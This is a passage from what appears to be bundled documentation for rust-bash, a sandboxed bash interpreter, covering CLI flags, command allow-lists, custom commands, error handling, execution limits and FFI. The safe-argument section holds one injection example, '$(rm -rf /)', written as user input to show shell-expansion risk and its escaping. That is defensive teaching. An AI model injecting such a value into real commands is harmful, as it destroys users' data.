{\"stdout\":\"hello\\n\",\"stderr\":\"\",\"exit_code\":0}\n```\n\nParse with `jq`:\n\n```bash\nrust-bash --json -c 'echo hello; echo err >&2; exit 42' | jq -r '.stdout'\n# hello\n\nrust-bash --json -c 'echo hello' | jq '.exit_code'\n# 0\n```\n\n> **Note:** `--json` is not supported in interactive REPL mode. If used without\n> `-c` or a script file and stdin is a terminal, `rust-bash` exits with code 2.\n\n## Combining Flags\n\nA realistic example seeding project files, setting environment, and producing\nJSON output:\n\n```bash\nrust-bash \\\n  --files ./project:/app \\\n  --env APP_ENV=test \\\n  --env DATABASE_URL=sqlite:///app/db.sqlite \\\n  --cwd /app \\\n  --json \\\n  -c '\n    echo \"Environment: $APP_ENV\"\n    ls /app\n    cat /app/config.json | jq .name\n  '\n```\n\n## Flag Reference\n\n| Flag | Short | Description |\n|------|-------|-------------|\n| `--command` | `-c` | Execute a command string and exit |\n| `--files` | | Seed VFS from host files/directories (`HOST:VFS` or `HOST_DIR`) |\n| `--env` | | Set environment variables (`KEY=VALUE`, repeatable) |\n| `--cwd` | | Set initial working directory (default: `/`) |\n| `--json` | | Output results as JSON |\n\n**Execution priority:** `-c` > script file > stdin > REPL.\n\n## See Also\n\n- [Getting Started](getting-started.md) — embedding rust-bash as a Rust library\n- [Guidebook Chapter 8](../guidebook/08-integration-targets.md) — integration target reference\n","/home/user/docs/recipes/convenience-api.md":"# Convenience API\n\n## Goal\n\nUse the high-level features of the `Bash` class to control command execution: filter allowed commands, isolate per-exec state, pass arguments safely, normalize scripts, register transform plugins, and access the virtual filesystem directly.\n\n## Command Filtering\n\nRestrict which commands a script can execute with the `commands` allow-list:\n\n```typescript\nimport { Bash, initWasm, createWasmBackend } from 'rust-bash/browser';\n\nawait initWasm();\nconst bash = await Bash.create(createWasmBackend, {\n  commands: ['echo', 'cat', 'grep', 'jq'],\n  files: { '/data.json': '{\"status\": \"ok\"}' },\n});\n\n// Allowed commands work normally\nconst result = await bash.exec('cat /data.json | jq .status');\nconsole.log(result.stdout); // '\"ok\"\\n'\n\n// Commands not in the allow-list are rejected\nconst blocked = await bash.exec('rm /data.json');\nconsole.log(blocked.stderr);   // \"rm: command not allowed\\n\"\nconsole.log(blocked.exitCode); // 127\n```\n\nThis is useful for least-privilege execution — give AI agents or untrusted scripts access to only the commands they need.\n\n## Per-Exec Environment and CWD Isolation\n\nOverride environment variables and working directory for a single `exec()` call without affecting the shell's persistent state:\n\n```typescript\nconst bash = await Bash.create(createWasmBackend, {\n  env: { USER: 'default', HOME: '/home/default' },\n  cwd: '/',\n});\n\n// Per-exec overrides are temporary\nconst result = await bash.exec('echo $USER in $PWD', {\n  env: { USER: 'override' },\n  cwd: '/tmp',\n});\nconsole.log(result.stdout); // \"override in /tmp\\n\"\n\n// Shell state is unchanged after exec\nconst check = await bash.exec('echo $USER in $PWD');\nconsole.log(check.stdout); // \"default in /\\n\"\n```\n\n### Replacing the Entire Environment\n\nBy default, per-exec `env` values are merged with the shell's environment. Use `replaceEnv` to start with a clean slate:\n\n```typescript\nconst result = await bash.exec('env | sort', {\n  env: { ONLY_THIS: 'variable' },\n  replaceEnv: true,\n});\nconsole.log(result.stdout); // \"ONLY_THIS=variable\\n\"\n```\n\n## Safe Argument Passing\n\nThe `args` option passes arguments to a script without shell expansion, preventing injection attacks:\n\n```typescript\n// UNSAFE: user input is interpreted by the shell\nconst userInput = '$(rm -rf /)';\nawait bash.exec(`echo ${userInput}`); // shell expansion happens!\n\n// SAFE: args are shell-escaped automatically\nconst result = await bash.exec('echo', {\n  args: [userInput],\n});\nconsole.log(result.stdout); // \"$(rm -rf /)\\n\" — treated as literal text\n```\n\nArguments are escaped by wrapping in single quotes with internal single quotes handled:\n\n```typescript\n// Multiple arguments\nconst result = await bash.exec('printf \"%s\\\\n\"', {\n  args: ['hello world', \"it's safe\", 'path/to/file'],\n});\n// stdout: \"hello world\\nit's safe\\npath/to/file\\n\"\n```\n\n## Script Normalization\n\nWhen using template literals, leading whitespace from indentation is automatically stripped:\n\n```typescript\n// Without normalization, this script would have unwanted leading spaces\nconst result = await bash.exec(`\n  echo \"line one\"\n  echo \"line two\"\n  if true; then\n    echo \"indented\"\n  fi\n`);\nconsole.log(result.stdout);\n// \"line one\\nline two\\nindented\\n\"\n```\n\nNormalization:\n1. Removes leading and trailing empty lines (common with template literals)\n2. Finds the minimum indentation across non-empty lines\n3. Strips that indentation from all lines\n\nThis lets you write inline scripts with natural indentation in your code.\n\n### Disabling Normalization with rawScript\n\nIf your script depends on exact whitespace (e.g., Makefile-style tabs), disable normalization:\n\n```typescript\nconst result = await bash.exec(`\n\\techo \"tab-indented\"\n\\techo \"must keep tabs\"\n`, { rawScript: true });\n```\n\nHeredoc content is preserved regardless of the `rawScript` setting — normalization only affects the script lines themselves, not heredoc bodies.\n\n## Transform Plugins\n\nRegister plugins that modify scripts before execution. Plugins run after normalization and before the backend executes the command.\n\n```typescript\nimport { Bash, initWasm, createWasmBackend } from 'rust-bash/browser';\n\nawait initWasm();\nconst bash = await Bash.create(createWasmBackend);\n\n// A plugin that logs every command to a file\nbash.registerTransformPlugin({\n  name: 'audit-logger',\n  transform(script: string): string {\n    const timestamp = new Date().toISOString();\n    return `echo \"[${timestamp}] ${script.split('\\n')[0]}\" >> /var/log/audit.log\\n${script}`;\n  },\n});\n\nawait bash.exec('echo hello');\nconst log = await bash.exec('cat /var/log/audit.log');\n// log.stdout contains the timestamped audit entry\n```\n\n### Multiple Plugins\n\nPlugins execute in registration order:\n\n```typescript\nbash.registerTransformPlugin({\n  name: 'env-injector',\n  transform(script) {\n    return `export DEBUG=1\\n${script}`;\n  },\n});\n\nbash.registerTransformPlugin({\n  name: 'error-handler',\n  transform(script) {\n    return `set -e\\n${script}`;\n  },\n});\n\n// Execution order: env-injector → error-handler → execute\n// Final script: \"set -e\\nexport DEBUG=1\\n<original script>\"\n```\n\n### Use Cases\n\n- **Audit logging** — prepend logging commands to track what scripts are run\n- **Error mode injection** — automatically add `set -e` or `set -o pipefail`\n- **Variable injection** — inject environment setup before every script\n- **Command instrumentation** — wrap commands for timing or output capture\n\n## FileSystemProxy\n\nThe `bash.fs` property provides direct synchronous access to the virtual filesystem, bypassing shell execution:\n\n```typescript\nconst bash = await Bash.create(createWasmBackend, {\n  files: { '/data.txt': 'initial content' },\n});\n\n// Write files\nbash.fs.writeFileSync('/output.txt', 'generated content');\n\n// Read files\nconst content = bash.fs.readFileSync('/data.txt');\nconsole.log(content); // \"initial content\"\n\n// Check existence\nif (bash.fs.existsSync('/output.txt')) {\n  console.log('file exists');\n}\n\n// Create directories\nbash.fs.mkdirSync('/dir/subdir', { recursive: true });\n\n// List directory contents\nconst entries = bash.fs.readdirSync('/');\nconsole.log(entries); // [\"data.txt\", \"output.txt\", \"dir\"]\n\n// File metadata\nconst stat = bash.fs.statSync('/data.txt');\nconsole.log(stat.isFile, stat.size); // true, 15\n\n// Remove files and directories\nbash.fs.rmSync('/output.txt');\nbash.fs.rmSync('/dir', { recursive: true });\n```\n\n### FileSystemProxy API\n\n| Method | Description |\n|--------|-------------|\n| `readFileSync(path)` | Read file contents as string |\n| `writeFileSync(path, content)` | Write string content to a file |\n| `existsSync(path)` | Check if a path exists |\n| `mkdirSync(path, options?)` | Create directory (`{ recursive: true }` for nested) |\n| `readdirSync(path)` | List directory entries |\n| `statSync(path)` | Get file metadata (`isFile`, `isDirectory`, `size`) |\n| `rmSync(path, options?)` | Remove file or directory (`{ recursive: true }` for trees) |\n\nThe proxy is useful for setting up test fixtures, reading output files, and programmatic file manipulation without constructing shell commands.\n\n## Putting It All Together\n\n```typescript\nimport { Bash, defineCommand, initWasm, createWasmBackend } from 'rust-bash/browser';\n\nawait initWasm();\n\nconst validate = defineCommand('validate-json', async (args, ctx) => {\n  try {\n    JSON.parse(ctx.stdin);\n    return { stdout: 'valid\\n', stderr: '', exitCode: 0 };\n  } catch (e) {\n    return { stdout: '', stderr: `invalid JSON: ${e}\\n`, exitCode: 1 };\n  }\n});\n\nconst bash = await Bash.create(createWasmBackend, {\n  commands: ['cat', 'echo', 'validate-json', 'jq'],\n  customCommands: [validate],\n  files: { '/config.json': '{\"port\": 8080}' },\n  env: { APP_ENV: 'test' },\n});\n\n// Add error handling to every script\nbash.registerTransformPlugin({\n  name: 'strict-mode',\n  transform: (script) => `set -eo pipefail\\n${script}`,\n});\n\n// Use safe args and per-exec isolation\nconst result = await bash.exec('cat /config.json | validate-json', {\n  env: { VERBOSE: '1' },\n  cwd: '/tmp',\n});\n\n// Read results via filesystem proxy\nbash.fs.writeFileSync('/result.txt', result.stdout);\nconst saved = bash.fs.readFileSync('/result.txt');\nconsole.log(saved); // \"valid\\n\"\n```\n\n## Next Steps\n\n- [Getting Started](getting-started.md) — basic Bash class setup and usage\n- [Custom Commands](custom-commands.md) — create domain-specific commands\n- [npm Package](npm-package.md) — installation and package exports\n","/home/user/docs/recipes/custom-commands.md":"# Custom Commands\n\n## Goal\n\nRegister domain-specific commands that scripts can call like any built-in. Custom commands have full access to the virtual filesystem, environment, and stdin.\n\n## Basic Custom Command\n\nImplement the `VirtualCommand` trait and register it via the builder:\n\n```rust\nuse rust_bash::{RustBashBuilder, VirtualCommand, CommandContext, CommandResult};\n\nstruct Greet;\n\nimpl VirtualCommand for Greet {\n    fn name(&self) -> &str {\n        \"greet\"\n    }\n\n    fn execute(&self, args: &[String], ctx: &CommandContext) -> CommandResult {\n        let name = args.first().map(|s| s.as_str()).unwrap_or(\"world\");\n        CommandResult {\n            stdout: format!(\"Hello, {name}!\\n\"),\n            stderr: String::new(),\n            exit_code: 0,\n        }\n    }\n}\n\nlet mut shell = RustBashBuilder::new()\n    .command(Box::new(Greet))\n    .build()\n    .unwrap();\n\nlet result = shell.exec(\"greet Alice\").unwrap();\nassert_eq!(result.stdout, \"Hello, Alice!\\n\");\n\n// Custom commands work in pipelines and redirections like any built-in\nlet result = shell.exec(\"greet Bob | tr '[:lower:]' '[:upper:]'\").unwrap();\nassert_eq!(result.stdout, \"HELLO, BOB!\\n\");\n```\n\n## Using the CommandContext\n\nThe `CommandContext` gives your command access to the shell's resources:\n\n```rust\nuse rust_bash::{RustBashBuilder, VirtualCommand, CommandContext, CommandResult};\nuse std::path::Path;\nuse std::collections::HashMap;\n\nstruct FileInfo;\n\nimpl VirtualCommand for FileInfo {\n    fn name(&self) -> &str {\n        \"fileinfo\"\n    }\n\n    fn execute(&self, args: &[String], ctx: &CommandContext) -> CommandResult {\n        let path_str = match args.first() {\n            Some(p) => p.as_str(),\n            None => {\n                return CommandResult {\n                    stderr: \"fileinfo: missing path argument\\n\".into(),\n                    exit_code: 1,\n                    ..Default::default()\n                };\n            }\n        };\n\n        // Resolve relative paths against cwd\n        let path = if path_str.starts_with('/') {\n            Path::new(path_str).to_path_buf()\n        } else {\n            Path::new(ctx.cwd).join(path_str)\n        };\n\n        // Read from the virtual filesystem\n        match ctx.fs.read_file(&path) {\n            Ok(content) => {\n                let size = content.len();\n                let lines = content.iter().filter(|&&b| b == b'\\n').count();\n                CommandResult {\n                    stdout: format!(\"{path_str}: {size} bytes, {lines} lines\\n\"),\n                    ..Default::default()\n                }\n            }\n            Err(e) => CommandResult {\n                stderr: format!(\"fileinfo: {e}\\n\"),\n                exit_code: 1,\n                ..Default::default()\n            },\n        }\n    }\n}\n\nlet mut shell = RustBashBuilder::new()\n    .command(Box::new(FileInfo))\n    .files(HashMap::from([\n        (\"/data.txt\".into(), b\"line1\\nline2\\nline3\\n\".to_vec()),\n    ]))\n    .build()\n    .unwrap();\n\nlet result = shell.exec(\"fileinfo /data.txt\").unwrap();\nassert_eq!(result.stdout, \"/data.txt: 18 bytes, 3 lines\\n\");\n```\n\n### What's in CommandContext\n\n| Field | Type | Description |\n|-------|------|-------------|\n| `fs` | `&dyn VirtualFs` | The virtual filesystem — read/write files, list directories |\n| `cwd` | `&str` | Current working directory |\n| `env` | `&HashMap<String, String>` | All shell variables (names → values) |\n| `stdin` | `&str` | Standard input (piped data or redirect content) |\n| `limits` | `&ExecutionLimits` | Current execution limits |\n| `network_policy` | `&NetworkPolicy` | Network access policy |\n| `exec` | `Option<ExecCallback>` | Callback for sub-command execution (used by `xargs`/`find -exec`) |\n\n## Processing stdin\n\nCustom commands receive piped input through `ctx.stdin`:\n\n```rust\nuse rust_bash::{RustBashBuilder, VirtualCommand, CommandContext, CommandResult};\n\nstruct WordCount;\n\nimpl VirtualCommand for WordCount {\n    fn name(&self) -> &str {\n        \"mycount\"\n    }\n\n    fn execute(&self, _args: &[String], ctx: &CommandContext) -> CommandResult {\n        let words: usize = ctx.stdin.split_whitespace().count();\n        CommandResult {\n            stdout: format!(\"{words}\\n\"),\n            ..Default::default()\n        }\n    }\n}\n\nlet mut shell = RustBashBuilder::new()\n    .command(Box::new(WordCount))\n    .build()\n    .unwrap();\n\nlet result = shell.exec(\"echo 'one two three four' | mycount\").unwrap();\nassert_eq!(result.stdout, \"4\\n\");\n```\n\n## Registering Multiple Commands\n\nChain `.command()` calls on the builder:\n\n```rust\nuse rust_bash::{RustBashBuilder, VirtualCommand, CommandContext, CommandResult};\n\nstruct CmdA;\nimpl VirtualCommand for CmdA {\n    fn name(&self) -> &str { \"cmd-a\" }\n    fn execute(&self, _args: &[String], _ctx: &CommandContext) -> CommandResult {\n        CommandResult { stdout: \"A\\n\".into(), ..Default::default() }\n    }\n}\n\nstruct CmdB;\nimpl VirtualCommand for CmdB {\n    fn name(&self) -> &str { \"cmd-b\" }\n    fn execute(&self, _args: &[String], _ctx: &CommandContext) -> CommandResult {\n        CommandResult { stdout: \"B\\n\".into(), ..Default::default() }\n    }\n}\n\nlet mut shell = RustBashBuilder::new()\n    .command(Box::new(CmdA))\n    .command(Box::new(CmdB))\n    .build()\n    .unwrap();\n\nlet result = shell.exec(\"cmd-a && cmd-b\").unwrap();\nassert_eq!(result.stdout, \"A\\nB\\n\");\n```\n\n## Overriding Built-in Commands\n\nIf your custom command uses the same name as a built-in, it replaces the built-in:\n\n```rust\nuse rust_bash::{RustBashBuilder, VirtualCommand, CommandContext, CommandResult};\n\nstruct AuditedEcho;\n\nimpl VirtualCommand for AuditedEcho {\n    fn name(&self) -> &str {\n        \"echo\" // overrides the built-in echo\n    }\n\n    fn execute(&self, args: &[String], _ctx: &CommandContext) -> CommandResult {\n        let text = args.join(\" \");\n        CommandResult {\n            stdout: format!(\"[AUDIT] {text}\\n\"),\n            ..Default::default()\n        }\n    }\n}\n\nlet mut shell = RustBashBuilder::new()\n    .command(Box::new(AuditedEcho))\n    .build()\n    .unwrap();\n\nlet result = shell.exec(\"echo hello\").unwrap();\nassert_eq!(result.stdout, \"[AUDIT] hello\\n\");\n```\n\n---\n\n## TypeScript: Custom Commands with defineCommand\n\nThe `rust-bash` npm package provides `defineCommand()` for creating custom commands in TypeScript:\n\n### Basic Command\n\n```typescript\nimport { Bash, defineCommand } from 'rust-bash';\n\nconst greet = defineCommand('greet', async (args, ctx) => {\n  const name = args[0] ?? 'world';\n  return { stdout: `Hello, ${name}!\\n`, stderr: '', exitCode: 0 };\n});\n\nconst bash = await Bash.create(createBackend, {\n  customCommands: [greet],\n});\n\nconst result = await bash.exec('greet Alice');\n// result.stdout === \"Hello, Alice!\\n\"\n```\n\n### Async Commands (e.g., HTTP fetch)\n\n```typescript\nimport { defineCommand } from 'rust-bash';\n\nconst fetchCmd = defineCommand('fetch', async (args, ctx) => {\n  const url = args[0];\n  if (!url) {\n    return { stdout: '', stderr: 'fetch: missing URL\\n', exitCode: 1 };\n  }\n  const response = await globalThis.fetch(url);\n  const text = await response.text();\n  return { stdout: text, stderr: '', exitCode: response.ok ? 0 : 1 };\n});\n```\n\n### Accessing the Filesystem\n\nCustom commands receive a `CommandContext` with VFS access:\n\n```typescript\nconst countLines = defineCommand('count-lines', async (args, ctx) => {\n  const path = args[0];\n  if (!path) {\n    return { stdout: '', stderr: 'count-lines: missing path\\n', exitCode: 1 };\n  }\n  try {\n    const content = ctx.fs.readFileSync(path);\n    const lines = content.split('\\n').length;\n    return { stdout: `${lines}\\n`, stderr: '', exitCode: 0 };\n  } catch {\n    return { stdout: '', stderr: `count-lines: ${path}: No such file\\n`, exitCode: 1 };\n  }\n});\n```\n\n### Using exec() for Sub-Commands\n\nCustom commands can invoke other commands:\n\n```typescript\nconst deploy = defineCommand('deploy', async (args, ctx) => {\n  const result = await ctx.exec('cat /app/manifest.json | jq -r .version');\n  return {\n    stdout: `Deploying version ${result.stdout.trim()}...\\n`,\n    stderr: '',\n    exitCode: 0,\n  };\n});\n```\n\n### Multiple Commands\n\n```typescript\nconst bash = await Bash.create(createBackend, {\n  customCommands: [greet, fetchCmd, countLines, deploy],\n});\n\nawait bash.exec('greet Bob && count-lines /data.txt');\n```\n","/home/user/docs/recipes/error-handling.md":"# Error Handling\n\n## Goal\n\nHandle the different error types returned by rust-bash, distinguish between script failures and execution errors, and use shell options like `set -e` for fail-fast behavior.\n\n## Error Types\n\n`exec()` returns `Result<ExecResult, RustBashError>`. It's important to understand what's an error vs. a normal result:\n\n| Situation | Return type | Example |\n|-----------|------------|---------|\n| Command exits non-zero | `Ok(ExecResult { exit_code: 1, .. })` | `grep pattern /no-match` |\n| Command not found | `Ok(ExecResult { exit_code: 127, .. })` | `nonexistent_cmd` |\n| Parse error | `Err(RustBashError::Parse(_))` | `echo 'unterminated` |\n| Readonly variable | `Err(RustBashError::Execution(_))` | `readonly X=1; X=2` |\n| Limit exceeded | `Err(RustBashError::LimitExceeded { .. })` | Infinite loop with low limit |\n| FS error (builder) | `Err(RustBashError::Vfs(_))` | Invalid path in builder |\n| Timeout | `Err(RustBashError::Timeout)` | Script exceeds time limit |\n\n## Matching on Error Variants\n\n```rust\nuse rust_bash::{RustBashBuilder, RustBashError};\n\nlet mut shell = RustBashBuilder::new().build().unwrap();\n\nlet input = \"some user input here\";\nmatch shell.exec(input) {\n    Ok(result) => {\n        if result.exit_code == 0 {\n            println!(\"Success: {}\", result.stdout);\n        } else {\n            eprintln!(\"Command failed (exit {}): {}\", result.exit_code, result.stderr);\n        }\n    }\n    Err(RustBashError::Parse(msg)) => {\n        eprintln!(\"Syntax error: {msg}\");\n    }\n    Err(RustBashError::LimitExceeded { limit_name, limit_value, actual_value }) => {\n        eprintln!(\"Limit '{limit_name}' exceeded: {actual_value} > {limit_value}\");\n    }\n    Err(RustBashError::Execution(msg)) => {\n        eprintln!(\"Runtime error: {msg}\");\n    }\n    Err(RustBashError::Timeout) => {\n        eprintln!(\"Script timed out\");\n    }\n    Err(e) => {\n        eprintln!(\"Other error: {e}\");\n    }\n}\n```\n\n## Script-Level Error Handling\n\n### set -e (errexit)\n\nMakes the script stop on the first command that fails:\n\n```rust\nuse rust_bash::RustBashBuilder;\n\nlet mut shell = RustBashBuilder::new().build().unwrap();\n\n// Without set -e: all commands run regardless of failures\nlet result = shell.exec(\"false; echo still-runs\").unwrap();\nassert_eq!(result.stdout, \"still-runs\\n\");\n\n// With set -e: stops at first failure (returns Ok with non-zero exit code)\nlet result = shell.exec(\"set -e; false; echo never-runs\").unwrap();\nassert_ne!(result.exit_code, 0);\nassert!(!result.stdout.contains(\"never-runs\"));\n```\n\n### set -e exceptions\n\n`set -e` does NOT trigger on failures in these contexts:\n- `if` conditions: `if false; then ...` — the `false` is expected\n- `&&` / `||` left-hand side: `false || echo recovered`\n- `!` negated pipelines: `! false` succeeds\n- `while`/`until` conditions\n\n### set -u (nounset)\n\nError on unset variable expansion:\n\n```rust\nuse rust_bash::RustBashBuilder;\n\nlet mut shell = RustBashBuilder::new().build().unwrap();\n\n// Without set -u: unset variables expand to empty string\nlet result = shell.exec(\"echo \\\"$UNDEFINED\\\"\").unwrap();\nassert_eq!(result.stdout, \"\\n\");\n\n// With set -u: unset variables cause an error\nlet result = shell.exec(\"set -u; echo $UNDEFINED\");\nassert!(result.is_err());\n```\n\n### set -o pipefail\n\nReport failures from any stage in a pipeline, not just the last:\n\n```rust\nuse rust_bash::RustBashBuilder;\n\nlet mut shell = RustBashBuilder::new().build().unwrap();\n\n// Without pipefail: exit code is from the last command in the pipeline\nlet result = shell.exec(\"false | echo hello\").unwrap();\nassert_eq!(result.exit_code, 0); // echo succeeded, so exit is 0\n\n// With pipefail: exit code is the rightmost non-zero\nlet result = shell.exec(\"set -o pipefail; false | echo hello\").unwrap();\nassert_ne!(result.exit_code, 0); // false's exit code propagates\n```\n\n## Using trap for Cleanup\n\n```rust\nuse rust_bash::RustBashBuilder;\n\nlet mut shell = RustBashBuilder::new().build().unwrap();\n\nlet result = shell.exec(r#\"\n    trap 'echo \"cleaning up...\"' EXIT\n    echo \"doing work\"\n    false\n    echo \"after failure\"\n\"#).unwrap();\n\n// EXIT trap fires at end of exec() regardless of how the script ended\nassert!(result.stdout.contains(\"cleaning up...\"));\n```\n\n## Recovering After Errors\n\nA `RustBash` instance remains usable after errors. Parse errors leave state completely untouched. Limit and runtime errors may leave the shell in a partially modified state (variables set, files created, etc.), but the shell remains functional:\n\n```rust\nuse rust_bash::RustBashBuilder;\n\nlet mut shell = RustBashBuilder::new().build().unwrap();\n\n// Set up some state\nshell.exec(\"FOO=hello\").unwrap();\n\n// A parse error doesn't corrupt state\nlet result = shell.exec(\"echo 'unterminated\");\nassert!(result.is_err());\n\n// Previous state is intact\nlet result = shell.exec(\"echo $FOO\").unwrap();\nassert_eq!(result.stdout, \"hello\\n\");\n```\n\n## The ${VAR:?message} Pattern\n\nUse parameter expansion to fail with a clear message on missing variables:\n\n```rust\nuse rust_bash::RustBashBuilder;\n\nlet mut shell = RustBashBuilder::new().build().unwrap();\n\n// Fails with a descriptive error\nlet result = shell.exec(\"echo ${DB_HOST:?DB_HOST must be set}\");\nassert!(result.is_err());\n\n// Works when set\nshell.exec(\"DB_HOST=localhost\").unwrap();\nlet result = shell.exec(\"echo ${DB_HOST:?DB_HOST must be set}\").unwrap();\nassert_eq!(result.stdout, \"localhost\\n\");\n```\n","/home/user/docs/recipes/execution-limits.md":"# Execution Limits\n\n## Goal\n\nConfigure resource bounds to prevent runaway scripts. Useful for untrusted input, AI agent sandboxes, and multi-tenant environments.\n\n## Default Limits\n\nEvery `RustBash` instance starts with these defaults:\n\n| Limit | Default | What it caps |\n|-------|---------|--------------|\n| `max_call_depth` | 25 | Recursive function call nesting |\n| `max_command_count` | 10,000 | Total commands executed per `exec()` call |\n| `max_loop_iterations` | 10,000 | Iterations per loop (`for`, `while`, `until`) |\n| `max_execution_time` | 30 s | Wall-clock time per `exec()` call |\n| `max_output_size` | 10 MB | Combined stdout + stderr size |\n| `max_string_length` | 10 MB | Maximum length of any single variable value |\n| `max_glob_results` | 100,000 | Glob expansion result count |\n| `max_substitution_depth` | 50 | Nested `$(...)` command substitution depth |\n| `max_heredoc_size` | 10 MB | Maximum heredoc content size |\n| `max_brace_expansion` | 10,000 | Terms produced by brace expansion |\n\n## Configuring Limits\n\nOverride defaults via `ExecutionLimits`:\n\n```rust\nuse rust_bash::{RustBashBuilder, ExecutionLimits};\nuse std::time::Duration;\n\nlet mut shell = RustBashBuilder::new()\n    .execution_limits(ExecutionLimits {\n        max_command_count: 500,\n        max_loop_iterations: 100,\n        max_execution_time: Duration::from_secs(5),\n        max_output_size: 1024 * 1024, // 1 MB\n        ..Default::default()  // keep defaults for all other limits\n    })\n    .build()\n    .unwrap();\n```\n\n## Handling Limit Violations\n\nWhen a limit is exceeded, `exec()` returns a `RustBashError::LimitExceeded` with details:\n\n```rust\nuse rust_bash::{RustBashBuilder, RustBashError, ExecutionLimits};\nuse std::time::Duration;\n\nlet mut shell = RustBashBuilder::new()\n    .execution_limits(ExecutionLimits {\n        max_loop_iterations: 10,\n        ..Default::default()\n    })\n    .build()\n    .unwrap();\n\nmatch shell.exec(\"for i in $(seq 1 100); do echo $i; done\") {\n    Ok(result) => println!(\"stdout: {}\", result.stdout),\n    Err(RustBashError::LimitExceeded { limit_name, limit_value, actual_value }) => {\n        eprintln!(\"Limit hit: {limit_name} — allowed {limit_value}, got {actual_value}\");\n    }\n    Err(e) => eprintln!(\"Error: {e}\"),\n}\n```\n\n## Preset Profiles\n\nHere are suggested profiles for common scenarios:\n\n### Strict — untrusted user input\n\n```rust\nuse rust_bash::{RustBashBuilder, ExecutionLimits};\nuse std::time::Duration;\n\nlet strict_limits = ExecutionLimits {\n    max_call_depth: 10,\n    max_command_count: 100,\n    max_loop_iterations: 50,\n    max_execution_time: Duration::from_secs(2),\n    max_output_size: 64 * 1024,        // 64 KB\n    max_string_length: 64 * 1024,       // 64 KB\n    max_glob_results: 100,\n    max_substitution_depth: 5,\n    max_heredoc_size: 64 * 1024,        // 64 KB\n    max_brace_expansion: 100,\n};\n\nlet mut shell = RustBashBuilder::new()\n    .execution_limits(strict_limits)\n    .build()\n    .unwrap();\n```\n\n### Moderate — AI agent sandbox\n\n```rust\nuse rust_bash::{RustBashBuilder, ExecutionLimits};\nuse std::time::Duration;\n\nlet agent_limits = ExecutionLimits {\n    max_call_depth: 50,\n    max_command_count: 5_000,\n    max_loop_iterations: 1_000,\n    max_execution_time: Duration::from_secs(10),\n    max_output_size: 1024 * 1024,       // 1 MB\n    max_string_length: 1024 * 1024,      // 1 MB\n    max_glob_results: 10_000,\n    max_substitution_depth: 20,\n    max_heredoc_size: 1024 * 1024,       // 1 MB\n    max_brace_expansion: 1_000,\n};\n\nlet mut shell = RustBashBuilder::new()\n    .execution_limits(agent_limits)\n    .build()\n    .unwrap();\n```\n\n### Permissive — trusted internal scripts\n\nUse the defaults, which are already generous:\n\n```rust\nuse rust_bash::{RustBashBuilder, ExecutionLimits};\n\nlet mut shell = RustBashBuilder::new()\n    .execution_limits(ExecutionLimits::default()) // explicit default\n    .build()\n    .unwrap();\n```\n\n## Counters Are Reset Per exec() Call\n\nLimits apply independently to each `exec()` call. A shell that ran 9,999 commands in the previous call starts fresh:\n\n```rust\nuse rust_bash::{RustBashBuilder, ExecutionLimits};\n\nlet mut shell = RustBashBuilder::new()\n    .execution_limits(ExecutionLimits {\n        max_command_count: 10,\n        ..Default::default()\n    })\n    .build()\n    .unwrap();\n\n// Each exec() gets its own budget of 10 commands\nshell.exec(\"echo 1; echo 2; echo 3\").unwrap();  // 3 commands — OK\nshell.exec(\"echo 4; echo 5; echo 6\").unwrap();  // 3 more — OK (counter reset)\n```\n\n## What Counts as a \"Command\"\n\nEach simple command execution increments the counter. This includes:\n- External commands: `echo`, `grep`, `cat`, etc.\n- Pipeline stages: `echo hello | grep hello` = 2 commands\n- Commands inside loops, functions, and subshells\n- Commands in `$(...)` substitutions\n\nBuiltins like `cd`, `export`, `set`, and variable assignments also count as commands.\n\n---\n\n## TypeScript: Configuring Execution Limits\n\nThe `rust-bash` npm package supports the same execution limits:\n\n### Setting Limits\n\n```typescript\nimport { Bash } from 'rust-bash';\n\nconst bash = await Bash.create(createBackend, {\n  executionLimits: {\n    maxCommandCount: 500,\n    maxLoopIterations: 100,\n    maxExecutionTimeSecs: 5,\n    maxOutputSize: 1024 * 1024, // 1 MB\n  },\n});\n```\n\nAll fields in `executionLimits` are optional — unset fields use defaults.\n\n### Available Limits\n\n| TypeScript Field | Default | What it caps |\n|-----------------|---------|--------------|\n| `maxCallDepth` | 100 | Recursive function call nesting |\n| `maxCommandCount` | 10,000 | Total commands per `exec()` call |\n| `maxLoopIterations` | 10,000 | Iterations per loop |\n| `maxExecutionTimeSecs` | 30 | Wall-clock seconds per `exec()` call |\n| `maxOutputSize` | 10,485,760 | Combined stdout + stderr bytes |\n| `maxStringLength` | 10,485,760 | Maximum single variable value length |\n| `maxGlobResults` | 100,000 | Glob expansion result count |\n| `maxSubstitutionDepth` | 50 | Nested `$(...)` depth |\n| `maxHeredocSize` | 10,485,760 | Maximum heredoc content size |\n| `maxBraceExpansion` | 10,000 | Terms from brace expansion |\n\n### Preset Profiles (TypeScript)\n\n```typescript\n// Strict — untrusted user input\nconst strictBash = await Bash.create(createBackend, {\n  executionLimits: {\n    maxCallDepth: 10,\n    maxCommandCount: 100,\n    maxLoopIterations: 50,\n    maxExecutionTimeSecs: 2,\n    maxOutputSize: 64 * 1024,\n    maxStringLength: 64 * 1024,\n    maxGlobResults: 100,\n    maxSubstitutionDepth: 5,\n    maxHeredocSize: 64 * 1024,\n    maxBraceExpansion: 100,\n  },\n});\n\n// Moderate — AI agent sandbox\nconst agentBash = await Bash.create(createBackend, {\n  executionLimits: {\n    maxCallDepth: 50,\n    maxCommandCount: 5000,\n    maxLoopIterations: 1000,\n    maxExecutionTimeSecs: 10,\n    maxOutputSize: 1024 * 1024,\n  },\n});\n\n// Permissive — trusted scripts (defaults are already generous)\nconst trustedBash = await Bash.create(createBackend, {});\n```\n","/home/user/docs/recipes/ffi-usage.md":"# FFI Usage\n\nEmbed rust-bash in Python, Go, or any C-compatible language via the shared library.\n\n## Building the Shared Library\n\n```bash\n# From the repository root\ncargo build --features ffi --release\n```\n\nThis produces:\n\n| Platform | Library path |\n|----------|-------------|\n| Linux    | `target/release/librust_bash.so` |\n| macOS    | `target/release/librust_bash.dylib` |\n| Windows  | `target/release/rust_bash.dll` |\n\nThe C header is at `include/rust_bash.h`.\n\n## The C API at a Glance\n\n| Function | Description |\n|----------|-------------|\n| `rust_bash_create(config_json)` | Create a sandboxed shell. Pass `NULL` for defaults or a JSON config string. Returns `RustBash*`. |\n| `rust_bash_exec(sb, command)` | Execute a shell command string. Returns `ExecResult*`. |\n| `rust_bash_result_free(result)` | Free an `ExecResult*` returned by `rust_bash_exec`. |\n| `rust_bash_free(sb)` | Free a `RustBash*` handle. |\n| `rust_bash_last_error()` | Get the last error message for the current thread (or `NULL` if none). |\n| `rust_bash_version()` | Get the library version as a static 